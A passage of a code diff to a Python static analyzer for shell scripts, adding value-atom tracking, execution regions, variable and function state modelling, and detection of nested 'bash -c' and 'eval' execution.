_FoldedValue( @@ -1416,12 +1866,23 @@ def _fold_node(self, root: Node) -> _FoldedValue: tuple(combined_tilde_offsets), tuple(combined_assignment_delimiter_offsets), tuple(combined_quoted_empty_offsets), + tuple(combined_atoms) if combined_atoms is not None else None, ) continue if not node.is_named: + fragments = ((node.start_byte, node.end_byte, 0, len(raw), True),) if raw else () results[key] = _FoldedValue( StaticValue.exact(raw), - ((node.start_byte, node.end_byte, 0, len(raw), True),) if raw else (), + fragments, + atoms=( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(raw), + fragments, + node.start_byte, + node.end_byte, + ), + ), ) continue self._issue( @@ -1446,6 +1907,7 @@ def _fold_group( tilde_offsets: list[int] = [] assignment_delimiter_offsets: list[int] = [] quoted_empty_offsets: list[int] = [] + atoms: list[_FoldAtom] | None = [] for part in parts: for source_start, source_end, value_start, value_end, fragment_exact in part.fragments: fragments.append( @@ -1470,6 +1932,11 @@ def _fold_group( ) output.extend(value) output_cursor += len(value) + if atoms is not None: + if part.atoms is None: + atoms = None + else: + atoms.extend(part.atoms) if assignment_equals_offset is not None: equals_index = bisect_left(assignment_delimiter_offsets, assignment_equals_offset) if ( @@ -1484,10 +1951,26 @@ def _fold_group( tuple(tilde_offsets), tuple(assignment_delimiter_offsets), tuple(quoted_empty_offsets), + tuple(atoms) if atoms is not None else None, ), assignment_value=assignment_value, ) + @staticmethod + def _is_line_continuation_gap(gap: bytes) -> bool: + saw_continuation = False + index = 0 + while index < len(gap): + if gap[index] in {9, 32}: + index += 1 + continue + if gap[index : index + 2] == b"\\\n": + saw_continuation = True + index += 2 + continue + return False + return saw_continuation + def _group_nodes(self, nodes: list[Node]) -> list[_NodeGroup]: groups: list[list[Node]] = [] for node in sorted(nodes, key=lambda item: (item.start_byte, item.end_byte)): @@ -1520,17 +2003,31 @@ def _argument(self, group: _NodeGroup) -> _ArgumentIR | None: ) if fragments is None: return None + atoms = ( + () if folded.value.state is StaticValueState.EXACT else self._mapped_atoms(folded.atoms) + ) + if atoms is None: + return None value_bytes = ( len(cast(bytes, folded.value.exact_bytes)) if folded.value.state is StaticValueState.EXACT - else 0 + else sum( + len(cast(bytes, atom.value.exact_bytes)) + for atom in atoms + if atom.value.state is StaticValueState.EXACT + ) ) - if not self._reserve(1 + len(fragments), value_bytes=value_bytes, span=span): + if not self._reserve( + 1 + len(fragments) + len(atoms), + value_bytes=value_bytes, + span=span, + ): return None return _ArgumentIR( folded.value, span, fragments, + atoms, group.start_byte, group.end_byte, ) @@ -1553,10 +2050,71 @@ def _group_assignment_name(self, group: _NodeGroup) -> tuple[str, int] | None: name = self._identifier(group.raw_syntax[:equals]) return (name, equals) if name is not None else None + @staticmethod + def _slice_fold_fragments( + fragments: tuple[tuple[int, int, int, int, bool], ...], + start_byte: int, + ) -> tuple[tuple[int, int, int, int, bool], ...]: + sliced: list[tuple[int, int, int, int, bool]] = [] + for source_start, source_end, value_start, value_end, exact in fragments: + if value_end <= start_byte: + continue + clipped_start = max(value_start, start_byte) + source_clip = clipped_start - value_start if exact else 0 + sliced.append( + ( + source_start + source_clip, + source_end, + clipped_start - start_byte if exact else 0, + value_end - start_byte if exact else 0, + exact, + ) + ) + return tuple(sliced) + + @classmethod + def _slice_fold_atoms( + cls, + atoms: tuple[_FoldAtom, ...] | None, + start_byte: int, + ) -> tuple[_FoldAtom, ...] | None: + if atoms is None: + return None + remaining = start_byte + sliced: list[_FoldAtom] = [] + for atom in atoms: + if remaining: + if atom.value.state is not StaticValueState.EXACT: + return None + literal = cast(bytes, atom.value.exact_bytes) + if remaining >= len(literal): + remaining -= len(literal) + continue + fragments = cls._slice_fold_fragments(atom.fragments, remaining) + sliced.append( + replace( + atom, + value=StaticValue.exact(literal[remaining:]), + fragments=fragments, + ) + ) + remaining = 0 + continue + sliced.append(atom) + return tuple(sliced) if remaining == 0 else None + def _group_assignment_parts( self, group: _NodeGroup, - ) -> tuple[str, StaticValue, tuple[_ValueFragment, ...]] | None: + ) -> ( + tuple[ + str, + StaticValue, + tuple[_ValueFragment, ...], + tuple[_ValueAtom, ...], + ] + | None + ): syntax = self._group_assignment_name(group) if syntax is None: return None @@ -1566,29 +2124,24 @@ def _group_assignment_parts( assignment_value=True, assignment_equals_offset=equals, ) + value_offset = equals + 1 if folded.value.state is StaticValueState.EXACT: exact = cast(bytes, folded.value.exact_bytes) - value_offset = equals + 1 value = StaticValue.exact(exact[value_offset:]) else: value = StaticValue.unknown() - value_offset = 0 - mapped = self._mapped_fragments(folded.fragments, fallback_start=group.start_byte) + value_fragments = self._slice_fold_fragments(folded.fragments, value_offset) + mapped = self._mapped_fragments(value_fragments, fallback_start=group.start_byte) if mapped is None: return None - if value.state is StaticValueState.EXACT: - fragments = tuple( - replace( - fragment, - value_start_byte=max(0, fragment.value_start_byte - value_offset), - value_end_byte=max(0, fragment.value_end_byte - value_offset), - ) - for fragment in mapped - if fragment.value_end_byte > value_offset - ) - else: - fragments = mapped - return name, value, fragments + atoms = ( + () + if value.state is StaticValueState.EXACT + else self._mapped_atoms(self._slice_fold_atoms(folded.atoms, value_offset)) + ) + if atoms is None: + return None + return name, value, mapped, atoms def _assignment_from_group( self, @@ -1598,19 +2151,31 @@ def _assignment_from_group( region_id: int | None, function_id: int | None, prefix_for_command_start_byte: int | None, + declaration_keyword: bytes | None = None, + declaration_command_start_byte: int | None = None, ) -> _AssignmentIR | None: parts = self._group_assignment_parts(group) if parts is None: return None - name, value, fragments = parts + name, value, fragments, atoms = parts span = self._span(group.start_byte, group.end_byte) if span is None: self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(group.start_byte)) return None value_bytes = ( - len(cast(bytes, value.exact_bytes)) if value.state is StaticValueState.EXACT else 0 + len(cast(bytes, value.exact_bytes)) + if value.state is StaticValueState.EXACT + else sum( + len(cast(bytes, atom.value.exact_bytes)) + for atom in atoms + if atom.value.state is StaticValueState.EXACT + ) ) - if not self._reserve(2 + len(fragments), value_bytes=value_bytes, span=span): + if not self._reserve( + 2 + len(fragments) + len(atoms), + value_bytes=value_bytes, + span=span, + ): return None site = AssignmentSite( unit_id=self.unit.unit_id, @@ -1626,6 +2191,11 @@ def _assignment_from_group( function_id, prefix_for_command_start_byte, fragments, + atoms, + declaration_keyword=declaration_keyword, + declaration_command_start_byte=declaration_command_start_byte, + local_start_byte=group.start_byte, + local_end_byte=group.end_byte, ) def _assignment_from_node( @@ -1649,6 +2219,7 @@ def _assignment_from_node( if value_node is None: value = StaticValue.exact(b"") fragments: tuple[_ValueFragment, ...] = () + atoms: tuple[_ValueAtom, ...] = () else: folded = self._apply_tilde_context( self._fold_node(value_node), @@ -1659,14 +2230,31 @@ def _assignment_from_node( if mapped is None: return None fragments = mapped + if value.state is StaticValueState.EXACT: + atoms = () + else: + mapped_atoms = self._mapped_atoms(folded.atoms) + if mapped_atoms is None: + return None + atoms = mapped_atoms span = self._node_span(node) if span is None: self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(node.start_byte)) return None value_bytes = ( - len(cast(bytes, value.exact_bytes)) if value.state is StaticValueState.EXACT else 0 + len(cast(bytes, value.exact_bytes)) + if value.state is StaticValueState.EXACT + else sum( + len(cast(bytes, atom.value.exact_bytes)) + for atom in atoms + if atom.value.state is StaticValueState.EXACT + ) ) - if not self._reserve(2 + len(fragments), value_bytes=value_bytes, span=span): + if not self._reserve( + 2 + len(fragments) + len(atoms), + value_bytes=value_bytes, + span=span, + ): return None return _AssignmentIR( AssignmentSite( @@ -1681,6 +2269,11 @@ def _assignment_from_node( draft.function_id, draft.prefix_for_command_start_byte, fragments, + atoms, + declaration_keyword=None, + declaration_command_start_byte=None, + local_start_byte=node.start_byte, + local_end_byte=node.end_byte, ) def _add_region( @@ -1706,6 +2299,12 @@ def _add_region( span, parent_region_id, function_id, + node.start_byte, + node.end_byte, + next( + (child.start_byte for child in node.children if child.type in {"&&", "||"}), + None, + ), ) ) return region_id @@ -1715,8 +2314,26 @@ def walk(self, root: Node) -> None: while stack and not self.halted: frame = stack.pop() node = frame.node + if frame.exiting: + event_kind = { + "command": _ShellEventKind.COMMAND, + "declaration_command": _ShellEventKind.COMMAND, + "variable_assignment": _ShellEventKind.ASSIGNMENT, + "unset_command": _ShellEventKind.UNSET, + "function_definition": _ShellEventKind.FUNCTION_DEFINITION, + }.get(node.type) + if event_kind is not None: + self.event_drafts.append( + _ShellEventDraft( + event_kind, + node, + frame.region_id, + frame.function_id, + ) + ) + continue node_span = self._node_span(node) or self._point_span(node.start_byte) - if exhaustion := self.file_budget.charge_shell_cst_visits(self.unit, 1): + if exhaustion := self.file_budget.charge_shell_cst_visits(self.accounting_unit, 1): self._resource(exhaustion, node_span) break if node.is_error: @@ -1759,6 +2376,26 @@ def walk(self, root: Node) -> None: parent_region_id=frame.region_id, function_id=function_id, ) + if node.type == "for_statement": + variable = node.child_by_field_name("variable") + if variable is not None: + self.event_drafts.append( + _ShellEventDraft( + _ShellEventKind.LOOP_BINDING, + variable, + region_id, + function_id, + ) + ) + elif node.type == "c_style_for_statement": + self.event_drafts.append( + _ShellEventDraft( + _ShellEventKind.LOOP_UPDATE, + node, + region_id, + function_id, + ) + ) if node.type in {"command", "declaration_command"}: if not self._reserve(1, span=node_span): @@ -1832,8 +2469,36 @@ def walk(self, root: Node) -> None: ) child_frames: list[_WalkFrame] = [] + children = list(node.children) + async_regions: dict[tuple[int, int, str], int | None] = {} + pipeline_stage_regions: dict[tuple[int, int, str], int | None] = {} + if node.type == "pipeline": + for child in children: + if child.is_named: + pipeline_stage_regions[_node_key(child)] = self._add_region( + child, + _ExecutionRegionKind.PIPELINE_STAGE, + parent_region_id=region_id, + function_id=function_id, + ) + if self.halted: + break + if self.halted: + break + for index, child in enumerate(children[:-1]): + if child.is_named and children[index + 1].type == "&": + async_regions[_node_key(child)] = self._add_region( + child, + _ExecutionRegionKind.ASYNC, + parent_region_id=region_id, + function_id=function_id, + ) + if self.halted: + break + if self.halted: + break previous_child: Node | None = None - for child in node.children: + for child in children: child_command_owner = command_owner_start_byte child_redirect_owner = redirect_owner_start_byte if ( @@ -1850,7 +2515,10 @@ def walk(self, root: Node) -> None: child, node.type, node.start_byte, - region_id, + async_regions.get( + _node_key(child), + pipeline_stage_regions.get(_node_key(child), region_id), + ), function_id, substitution_depth, child_command_owner, @@ -1858,6 +2526,19 @@ def walk(self, root: Node) -> None: ) ) previous_child = child + stack.append( + _WalkFrame( + node, + frame.parent_type, + frame.parent_start_byte, + region_id, + function_id, + substitution_depth, + command_owner_start_byte, + redirect_owner_start_byte, + True, + ) + ) stack.extend(reversed(child_frames)) def _command_groups(self, node: Node) -> list[_NodeGroup]: @@ -1992,6 +2673,11 @@ def _redirect_parts( def _functions(self) -> tuple[_FunctionContext, ...]: functions: list[_FunctionContext] = [] + function_regions = { + region.function_id: region + for region in self.regions + if region.kind is _ExecutionRegionKind.FUNCTION and region.function_id is not None + } for draft in self.function_drafts: name_node = draft.node.child_by_field_name("name") if name_node is None: @@ -2016,29 +2702,2101 @@ def _functions(self) -> tuple[_FunctionContext, ...]: argument.span, argument.fragments, draft.parent_function_id, + ( + function_regions[draft.function_id].parent_region_id + if draft.function_id in function_regions + else None + ), + draft.node.start_byte, + draft.node.end_byte, ) ) return tuple(functions) - def lower(self) -> _ShellProgramIR: - if self.halted: - return _ShellProgramIR(regions=tuple(self.regions)) - sorted_command_drafts = sorted(self.command_drafts, key=lambda item: item.node.start_byte) - mutable_commands_by_depth: dict[int, list[_CommandDraft]] = {} - for command in sorted_command_drafts: - mutable_commands_by_depth.setdefault(command.substitution_depth, []).append(command) - commands_by_depth = { - depth: tuple(commands) for depth, commands in mutable_commands_by_depth.items() + def _region_chain(self, region_id: int | None) -> tuple[_ExecutionRegion, ...]: + cached = self.region_chain_cache.get(region_id) + if cached is not None: + return cached + chain: list[_ExecutionRegion] = [] + original_region_id = region_id + while region_id is not None: + region = self.regions[region_id] + chain.append(region) + region_id = region.parent_region_id + retained = tuple(chain) + self.region_chain_cache[original_region_id] = retained + return retained + + def _control_role(self, draft: _ShellEventDraft) -> _ControlRole: + chain = self._region_chain(draft.region_id) + if any(region.kind is _ExecutionRegionKind.ASYNC for region in chain): + return _ControlRole.ASYNC + for region in chain: + if region.kind is _ExecutionRegionKind.LIST: + split = region.control_split_byte + return ( + _ControlRole.BOOLEAN_LEFT + if split is None or draft.node.start_byte < split + else _ControlRole.BOOLEAN_RIGHT + ) + if any( + region.kind + in { + _ExecutionRegionKind.IF, + _ExecutionRegionKind.ELIF, + _ExecutionRegionKind.ELSE, + _ExecutionRegionKind.CASE, + _ExecutionRegionKind.CASE_ITEM, + _ExecutionRegionKind.NEGATION, + } + for region in chain + ): + return _ControlRole.CONDITIONAL + if any( + region.kind + in { + _ExecutionRegionKind.FOR, + _ExecutionRegionKind.C_STYLE_FOR, + _ExecutionRegionKind.WHILE, + _ExecutionRegionKind.UNTIL, + _ExecutionRegionKind.DO, + } + for region in chain + ): + return _ControlRole.LOOP + for index, region in enumerate(chain): + if region.kind is not _ExecutionRegionKind.COMPOUND: + continue + parent_kind = chain[index + 1].kind if index + 1 < len(chain) else None + if parent_kind is not _ExecutionRegionKind.FUNCTION: + return _ControlRole.GROUP + if any( + region.kind + in { + _ExecutionRegionKind.PIPELINE, + _ExecutionRegionKind.PIPELINE_STAGE, + _ExecutionRegionKind.SUBSHELL, + _ExecutionRegionKind.COMMAND_SUBSTITUTION, + _ExecutionRegionKind.PROCESS_SUBSTITUTION, + } + for region in chain + ): + return _ControlRole.ISOLATED + if draft.function_id is not None: + return _ControlRole.FUNCTION + return _ControlRole.STRAIGHT + + def _scope_region_id(self, region_id: int | None) -> int | None: + for region in self._region_chain(region_id): + if region.kind in { + _ExecutionRegionKind.PIPELINE_STAGE, + _ExecutionRegionKind.SUBSHELL, + _ExecutionRegionKind.COMMAND_SUBSTITUTION, + _ExecutionRegionKind.PROCESS_SUBSTITUTION, + }: + return region.region_id + return None + + def _uncertain_scope_ids(self, draft: _ShellEventDraft) -> tuple[int, ...]: + chain = self._region_chain(draft.region_id) + explicit_arm_kinds = { + _ExecutionRegionKind.ELIF, + _ExecutionRegionKind.ELSE, + _ExecutionRegionKind.CASE_ITEM, } - starts_by_depth = { - depth: tuple(command.node.start_byte for command in commands) - for depth, commands in commands_by_depth.items() + shadowed_containers: set[int] = set() + nearest_if_id: int | None = None + nearest_case_id: int | None = None + for region in reversed(chain): + if region.kind is _ExecutionRegionKind.IF: + nearest_if_id = region.region_id + elif region.kind is _ExecutionRegionKind.CASE: + nearest_case_id = region.region_id + elif region.kind in {_ExecutionRegionKind.ELIF, _ExecutionRegionKind.ELSE}: + if nearest_if_id is not None: + shadowed_containers.add(nearest_if_id) + self.branch_container_ids[region.region_id] = nearest_if_id + elif region.kind is _ExecutionRegionKind.CASE_ITEM and nearest_case_id is not None: + shadowed_containers.add(nearest_case_id) + self.branch_container_ids[region.region_id] = nearest_case_id + uncertain_kinds = { + _ExecutionRegionKind.ASYNC, + _ExecutionRegionKind.LIST, + *explicit_arm_kinds, + _ExecutionRegionKind.IF, + _ExecutionRegionKind.CASE, + _ExecutionRegionKind.NEGATION, + _ExecutionRegionKind.FOR, + _ExecutionRegionKind.C_STYLE_FOR, + _ExecutionRegionKind.WHILE, + _ExecutionRegionKind.UNTIL, } - redirects_by_command: dict[int, list[_RedirectDraft]] = {} - for redirect in self.redirect_drafts: - command_start = self._redirect_command_start( - redirect, - commands_by_depth, + scopes: list[int] = [] + for index, region in enumerate(chain): + include = region.kind in uncertain_kinds and region.region_id not in shadowed_containers + if region.kind is _ExecutionRegionKind.COMPOUND: + parent_kind = chain[index + 1].kind if index + 1 < len(chain) else None + include = parent_kind is not _ExecutionRegionKind.FUNCTION + if include: + scopes.append(region.region_id) + return tuple(reversed(scopes)) + + @staticmethod + def _lookup_binding(frame: _StateFrame, name: str) -> _BindingIR: + current: _StateFrame | None = frame + while current is not None: + if name in current.bindings: + return current.bindings[name] + current = current.parent + return _BindingIR(name, StaticValue.unknown(), _ExportState.UNKNOWN, ()) + + @staticmethod + def _persistent_bindings_are_unknown(frame: _StateFrame) -> bool: + current: _StateFrame | None = frame + while current is not None: + if current.persistent_bindings_unknown: + return True + current = current.parent + return False + + @staticmethod + def _nameref_declaration_mode( + argv: tuple[StaticValue, ...], + arguments: tuple[_ArgumentIR, ...] | list[_ArgumentIR], + declaration_starts: set[int], + ) -> bool: + if ( + not argv + or argv[0].state is not StaticValueState.EXACT + or cast(bytes, argv[0].exact_bytes) not in {b"declare", b"local", b"typeset"} + ): + return False + return any( + argument.value.state is not StaticValueState.EXACT + or b"n" in cast(bytes, argument.value.exact_bytes)[1:] + for argument in arguments[1:] + if argument.local_start_byte not in declaration_starts + and ( + argument.value.state is not StaticValueState.EXACT + or cast(bytes, argument.value.exact_bytes).startswith((b"-", b"+")) + ) + ) + + @staticmethod + def _lookup_function(frame: _StateFrame, name: bytes) -> tuple[bool, int | None]: + current: _StateFrame | None = frame + while current is not None: + if name in current.functions: + return True, current.functions[name] + if current.functions_unknown: + return True, None + current = current.parent + return False, None + + def _resolve_value( + self, + value: StaticValue, + fragments: tuple[_ValueFragment, ...], + atoms: tuple[_ValueAtom, ...], + frame: _StateFrame, + *, + assignment_value: bool, + span: SourceSpan, + ) -> tuple[StaticValue, tuple[_ValueFragment, ...]]: + if value.state is StaticValueState.EXACT or not atoms: + return value, fragments + output = bytearray() + resolved_fragments: list[_ValueFragment] = [] + saw_unbound = False + for atom in atoms: + if atom.kind is _ValueAtomKind.LITERAL: + if atom.value.state is not StaticValueState.EXACT: + return StaticValue.unknown(), fragments + atom_value = cast(bytes, atom.value.exact_bytes) + cursor = len(output) + output.extend(atom_value) + resolved_fragments.extend( + replace( + fragment, + value_start_byte=cursor + fragment.value_start_byte, + value_end_byte=cursor + fragment.value_end_byte, + ) + for fragment in atom.fragments + ) + continue + if atom.name is None or (not assignment_value and not atom.quoted): + return StaticValue.unknown(), fragments + binding = self._lookup_binding(frame, atom.name) + if binding.value.state is StaticValueState.UNKNOWN: + return StaticValue.unknown(), fragments + if binding.value.state is StaticValueState.UNBOUND: + saw_unbound = True + continue + binding_value = cast(bytes, binding.value.exact_bytes) + cursor = len(output) + output.extend(binding_value) + resolved_fragments.extend( + replace( + fragment, + value_start_byte=cursor + fragment.value_start_byte, + value_end_byte=cursor + fragment.value_end_byte, + ) + for fragment in binding.fragments + ) + if saw_unbound and assignment_value: + return StaticValue.unknown(), () + if saw_unbound and len(atoms) == 1 and not output: + return StaticValue.unbound(), () + exact = StaticValue.exact(bytes(output)) + if not self._reserve( + len(resolved_fragments), + value_bytes=len(output), + span=span, + ): + return StaticValue.unknown(), fragments + return exact, tuple(resolved_fragments) + + def _resolve_assignment( + self, + assignment: _AssignmentIR, + frame: _StateFrame, + ) -> _AssignmentIR: + value, fragments = self._resolve_value( + assignment.site.value, + assignment.value_fragments, + assignment.value_atoms, + frame, + assignment_value=True, + span=assignment.site.span, + ) + return replace( + assignment, + site=replace(assignment.site, value=value), + value_fragments=fragments, + value_atoms=(), + ) + + def _state_frame( + self, + draft: _ShellEventDraft, + root: _StateFrame, + frames: dict[tuple[str, int], _StateFrame], + persistent_unknown_function_ids: set[int], + ) -> _StateFrame: + base = root + if draft.function_id is not None: + key = ("function", draft.function_id) + frame = frames.get(key) + if frame is None: + frame = self._new_state_frame(None) + source = root + parent_function_id = self.function_drafts[draft.function_id].parent_function_id + if parent_function_id is not None: + source = frames.get(("function", parent_function_id), root) + frame.functions.update(_visible_functions(source)) + frame.functions_unknown = _visible_functions_unknown(source) + frame.persistent_bindings_unknown = ( + draft.function_id in persistent_unknown_function_ids + or self._persistent_bindings_are_unknown(source) + ) + frames[key] = frame + base = frame + scope_region_id = self._scope_region_id(draft.region_id) + if scope_region_id is None: + return base + key = ("region", scope_region_id) + frame = frames.get(key) + if frame is not None: + return frame + parent = base + parent_region_id = self.regions[scope_region_id].parent_region_id + while parent_region_id is not None: + candidate = self._scope_region_id(parent_region_id) + if candidate is None or candidate == scope_region_id: + break + parent = frames.get(("region", candidate), base) + break + frame = self._new_state_frame(parent) + frames[key] = frame + return frame + + def _new_state_frame(self, parent: _StateFrame | None) -> _StateFrame: + frame = _StateFrame(self.next_state_frame_id, parent) + self.next_state_frame_id += 1 + return frame + + @staticmethod + def _uncertain_role(role: _ControlRole) -> bool: + return role in { + _ControlRole.CONDITIONAL, + _ControlRole.BOOLEAN_LEFT, + _ControlRole.BOOLEAN_RIGHT, + _ControlRole.LOOP, + _ControlRole.GROUP, + _ControlRole.ASYNC, + } + + def _apply_binding( + self, + *, + frame: _StateFrame, + binding: _BindingIR, + role: _ControlRole, + draft: _ShellEventDraft, + updates: list[_StateUpdateIR], + ) -> None: + retained = ( + _BindingIR( + binding.name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ) + if binding.name in frame.sticky_unknown_names + or binding.name in frame.persistent_unknown_names + or self._persistent_bindings_are_unknown(frame) + or draft.function_id in self.persistent_unknown_function_ids + else binding + ) + if not self._reserve( + 2, + span=retained.fragments[0].span + if retained.fragments + else (self._node_span(draft.node) or self._point_span(draft.node.start_byte)), + ): + return + frame.bindings[binding.name] = retained + updates.append( + _StateUpdateIR( + len(updates), + draft.region_id, + draft.function_id, + frame.frame_id, + retained, + ) + ) + + def _event_name(self, draft: _ShellEventDraft) -> str | None: + if draft.kind is _ShellEventKind.ASSIGNMENT: + name = draft.node.child_by_field_name("name") + return ( + self._identifier(self.raw[name.start_byte : name.end_byte]) + if name is not None + else None + ) + if draft.kind is _ShellEventKind.LOOP_UPDATE and draft.node.type == "c_style_for_statement": + return None + if draft.kind in {_ShellEventKind.LOOP_BINDING, _ShellEventKind.LOOP_UPDATE}: + return self._identifier(self.raw[draft.node.start_byte : draft.node.end_byte]) + if draft.kind is _ShellEventKind.FUNCTION_DEFINITION: + name = draft.node.child_by_field_name("name") + return ( + self._identifier(self.raw[name.start_byte : name.end_byte]) + if name is not None + else None + ) + if draft.kind is _ShellEventKind.UNSET: + named = draft.node.named_children + if len(named) == 1 and named[0].type == "variable_name": + return self._identifier(self.raw[named[0].start_byte : named[0].end_byte]) + return None + + def _has_pipeline_input(self, command: _CommandIR) -> bool: + if self.pipeline_input_region_ids is None: + grouped: dict[int | None, list[_ExecutionRegion]] = {} + for region in self.regions: + if region.kind is _ExecutionRegionKind.PIPELINE_STAGE: + grouped.setdefault(region.parent_region_id, []).append(region) + self.pipeline_input_region_ids = frozenset( + region.region_id + for stages in grouped.values() + for region in sorted(stages, key=lambda item: item.local_start_byte)[1:] + ) + stage = next( + ( + region + for region in self._region_chain(command.region_id) + if region.kind is _ExecutionRegionKind.PIPELINE_STAGE + ), + None, + ) + return stage is not None and stage.region_id in self.pipeline_input_region_ids + + def _nested_request( + self, + command: _CommandIR, + frame: _StateFrame, + *, + depth: int, + ) -> _NestedRequest | None: + argv = command.site.argv + if ( + command.resolution.kind is _CommandResolutionKind.AMBIGUOUS + and argv[0].state is StaticValueState.EXACT + and cast(bytes, argv[0].exact_bytes) in {b"bash", b"sh", b"dash", b"eval"} + ): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + if command.resolution.kind is not _CommandResolutionKind.EXTERNAL: + return None + if argv[0].state is not StaticValueState.EXACT: + return None + executable = cast(bytes, argv[0].exact_bytes) + if executable == b"env" and len(argv) > 1 and argv[1] == StaticValue.exact(b"-S"): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + if executable == b"xargs": + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + if executable in {b"bash", b"sh", b"dash"}: + if len(argv) > 1 and argv[1] in { + StaticValue.exact(b"-c"), + StaticValue.exact(b"-lc"), + }: + if len(command.arguments) < 3 or argv[2].state is not StaticValueState.EXACT: + span = ( + command.arguments[2].span + if len(command.arguments) > 2 + else command.site.span + ) + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + return None + return _NestedRequest( + _NestedExecutionKind.SHELL, + command, + command.arguments[2], + frame, + depth + 1, + ) + if self._has_pipeline_input(command): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + if executable == b"eval": + if len(command.arguments) != 2 or argv[1].state is not StaticValueState.EXACT: + span = ( + command.arguments[1].span if len(command.arguments) > 1 else command.site.span + ) + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + return None + return _NestedRequest( + _NestedExecutionKind.EVAL, + command, + command.arguments[1], + frame, + depth + 1, + ) + return None + + def _merge_control_frame( + self, + *, + frame: _StateFrame, + parent: _StateFrame, + scope_id: int, + draft: _ShellEventDraft, + updates: list[_StateUpdateIR], + ) -> None: + span = self.regions[scope_id].span + for name, candidate in frame.bindings.items(): + previous = self._lookup_binding(parent, name) + value = previous.value if candidate.value == previous.value else StaticValue.unknown() + export_state = ( + previous.export_state + if candidate.export_state is previous.export_state + else _ExportState.UNKNOWN + ) + fragments = previous.fragments if value == previous.value else () + merged = _BindingIR(name, value, export_state, fragments) + if not self._reserve(2, span=span): + return + parent.bindings[name] = merged + updates.append( + _StateUpdateIR( + len(updates), + scope_id, + draft.function_id, + parent.frame_id, + merged, + ) + ) + for function_name, function_id in frame.functions.items(): + found, previous_function = self._lookup_function(parent, function_name) + parent.functions[function_name] = ( + function_id if found and previous_function == function_id else None + ) + parent.functions_unknown = parent.functions_unknown or frame.functions_unknown + parent.persistent_unknown_names.update(frame.persistent_unknown_names) + parent.persistent_bindings_unknown = ( + parent.persistent_bindings_unknown or frame.persistent_bindings_unknown + ) + + def _model_state( + self, + program: _ShellProgramIR, + *, + initial_bindings: dict[str, _BindingIR] | None = None, + initial_functions: dict[bytes, int | None] | None = None, + initial_functions_unknown: bool = False, + depth: int = 0, + ) -> Generator[_NestedRequest, _NestedResponse, _ModeledState]: + commands = list(program.commands) + assignments = list(program.assignments) + commands_by_start = { + command.local_start_byte: index for index, command in enumerate(commands) + } + assignments_by_start: dict[int, list[int]] = {} + prefix_assignments_by_command: dict[int, list[int]] = {} + declaration_assignments_by_command: dict[int, list[int]] = {} + for index, assignment in enumerate(assignments): + assignments_by_start.setdefault(assignment.local_start_byte, []).append(index) + if assignment.prefix_for_command_start_byte is not None: + prefix_assignments_by_command.setdefault( + assignment.prefix_for_command_start_byte, [] + ).append(index) + if assignment.declaration_command_start_byte is not None: + declaration_assignments_by_command.setdefault( + assignment.declaration_command_start_byte, [] + ).append(index) + functions_by_start = {function.local_start_byte: function for function in program.functions} + functions_by_id = {function.function_id: function for function in program.functions} + function_binding_writes: dict[int, set[str]] = {} + function_export_writes: dict[int, set[str]] = {} + function_function_writes: dict[int, set[bytes]] = {} + function_binding_writes_unknown: set[int] = set() + function_export_writes_unknown: set[int] = set() + function_function_writes_unknown: set[int] = set() + loop_binding_writes: dict[int, set[str]] = {} + loop_export_writes: dict[int, set[str]] = {} + loop_function_writes: dict[int, set[bytes]] = {} + loop_binding_writes_unknown: set[int] = set() + loop_export_writes_unknown: set[int] = set() + loop_function_writes_unknown: set[int] = set() + loop_command_names: dict[int, set[bytes]] = {} + loop_dynamic_commands: set[int] = set() + loop_region_kinds = { + _ExecutionRegionKind.FOR, + _ExecutionRegionKind.C_STYLE_FOR, + _ExecutionRegionKind.WHILE, + _ExecutionRegionKind.UNTIL, + } + isolated_region_kinds = { + _ExecutionRegionKind.PIPELINE_STAGE, + _ExecutionRegionKind.SUBSHELL, + _ExecutionRegionKind.COMMAND_SUBSTITUTION, + _ExecutionRegionKind.PROCESS_SUBSTITUTION, + } + functions_by_scope_and_name: dict[tuple[int | None, bytes], list[int]] = {} + function_names_by_scope: dict[int | None, set[bytes]] = {} + function_ids_by_scope: dict[int | None, list[int]] = {} + function_isolation_scopes: dict[int, int | None] = {} + uncertain_function_ids: set[int] = set() + for function in program.functions: + function_ids_by_scope.setdefault(function.parent_function_id, []).append( + function.function_id + ) + function_isolation_scopes[function.function_id] = self._scope_region_id( + function.definition_region_id + ) + if function.name.state is StaticValueState.EXACT: + function_name = cast(bytes, function.name.exact_bytes) + function_names_by_scope.setdefault(function.parent_function_id, set()).add( + function_name + ) + functions_by_scope_and_name.setdefault( + ( + function.parent_function_id, + function_name, + ), + [], + ).append(function.function_id) + definition_draft = _ShellEventDraft( + _ShellEventKind.FUNCTION_DEFINITION, + self.function_drafts[function.function_id].node, + function.definition_region_id, + function.parent_function_id, + ) + if self._uncertain_scope_ids(definition_draft): + uncertain_function_ids.add(function.function_id) + function_calls: dict[int, set[int]] = {} + barrier_function_lexical_calls: dict[int, set[int]] = {} + barrier_function_call_names: dict[int, set[bytes]] = {} + barrier_function_dynamic_calls: set[int] = set() + root_function_call_events: list[tuple[_ShellEventDraft, bytes | None]] = [] + persistent_barrier_call_events: list[tuple[_ShellEventDraft, bytes | None]] = [] + persistent_barrier_scopes: set[tuple[int | None, int | None]] = set() + persistent_unknown_function_ids: set[int] = set() + + def possible_function_ids( + event: _ShellEventDraft, + name: bytes, + *, + include_future: bool = False, + ) -> tuple[int, ...]: + scope_id = event.function_id + possible: list[int] = [] + event_region_ids = {region.region_id for region in self._region_chain(event.region_id)} + while True: + candidates = tuple( + candidate + for candidate in functions_by_scope_and_name.get((scope_id, name), ()) + if function_isolation_scopes[candidate] is None + or function_isolation_scopes[candidate] in event_region_ids + ) + if include_future: + possible.extend(candidates) + else: + preceding = tuple( + candidate + for candidate in candidates + if functions_by_id[candidate].local_start_byte < event.node.start_byte + ) + if preceding: + latest_unconditional = next( + ( + index + for index in range(len(preceding) - 1, -1, -1) + if preceding[index] not in uncertain_function_ids + ), + None, + ) + if 